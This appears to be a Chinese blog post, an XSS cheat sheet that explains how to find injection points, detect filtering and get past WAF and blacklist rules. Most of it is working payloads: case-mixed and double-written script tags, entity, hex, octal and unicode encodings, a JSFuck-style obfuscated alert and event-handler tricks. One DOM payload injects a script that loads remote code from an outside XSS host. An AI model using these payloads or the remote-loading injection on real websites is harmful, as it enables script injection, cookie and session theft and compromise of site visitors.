zoukankan      html  css  js  c++  java
  • xss姿势利用

    1.定位页面可以出现xss的位置

    可能会出现联合点利用 一个页面多个存储位置或者一个页面多个参数联合利用

    例如输入xss 查看页面源码页面里有多个xss 或者多个参数显示 可以利用

    需要注意的是有的是js动态加载标签 或者iframe嵌套 框架嵌套 需要去审查元素

    如果xss位置在js 可以直接利用js弱语言的特性直接写js

    如果xss位置在html 标签属性中 可以先判断闭合条件 '和" 利用伪协议写js

    如果是>< 标签内 可以直接写html 标签 值得注意的是有些标签自带htmlEncode功能

    <textarea></textarea>

    <title></title>

    <iframe></iframe>

    <noscript></noscript>

    <noframes></noframes>

    <xmp></xmp>

    <plaintext></plaintext>

    <math></math>

    这些标签需要先闭合不然标签输出的都是文本

    2.快速判断过滤

    '"<>script onsss javascript 输入是否成功回显 或者判断是否被过滤/转义

    3.常见绕过

    8进制,16进制,html实体编码 String.fromCharCode()还原ascii

    大小写 ,双写,过滤顺序,注释换行逃逸

    4.payload 编码利用

    <SCRIPT SRC=x ></SCRIPt> 大小写 利用

    <SCrIPT SRC=http://x/x ></ScRIPt>

    alert(1) html实体编码 利用

    <img src=1 ONERROR= "%0ajavascript:%0calert%0d(/xss/);" width=100> 空字符

    <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script> ascii 转义

    <script>alert`1`</script> 反引号带替()

    <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+""")())()</script> jj编码 后 要在用url编码

    eval('x76x61x724014175String.fromCharCode(49);u0061u006cu0065u0072u0074u0028au0029;') eval采用混编 16进制 8进制 10进制 unicode编码

    5.绕过姿势

    利用H5新标签,DOM编程,编码,浏览器差异解析绕过

    探测有哪些是被wa了的 '">script img onerror 在探测waf规则...

    <scr<script>ipt>alert(/XSS/)</scr<script>ipt> 过滤时双写或者大小写

    黑名单绕过比如alert被禁时 可以试试prompt/confirm

    <div style=xss:065xpression(alert(1))> 仅限IE

    <a onmouseover=u0074> 通过on事件/伪协议的执行js 后渲染的js 全部可以用各种编码混编

    所以我们大多是绕过对伪协议的限定

    不常见便签来绕过黑名单

    isindexanytagobject marqueeaudio,video,embed,svg等

    tab 绕过 javascri p t 记住要;结尾 这也是利用的js弱语言特性

    注释符逃逸 %0a %0c %0d 换行符 %00只在ie8下有用

    DOM 编程 例子

    <img src='1' name=javasCript:s=document.createElement%28"sCript"%29;s.src="//xss.tf/zuQ";document.body.appendChild%28s%29 onerror=location=this.name />

    iframe 的srcdoc 标签利用

  • 相关阅读:
    从输入url到页面加载完成都发生了什么?
    JS 获取和监听屏幕方向变化(portrait / landscape)
    圣杯布局的几种情况
    闭包的使用 — 点击列表项输出项目索引
    论文笔记:dropout
    论文笔记:蒸馏网络(Distilling the Knowledge in Neural Network)
    ng-深度学习-课程笔记-17: 序列模型和注意力机制(Week3)
    ng-深度学习-课程笔记-16: 自然语言处理与词嵌入(Week2)
    ng-深度学习-课程笔记-15: 循环序列模型(Week1)
    Ubuntu安装dlib后import出现libstdc++.so.6: version `GLIBCXX_3.4.21' not found
  • 原文地址:https://www.cnblogs.com/feizianquan/p/10876639.html
Copyright © 2011-2022 走看看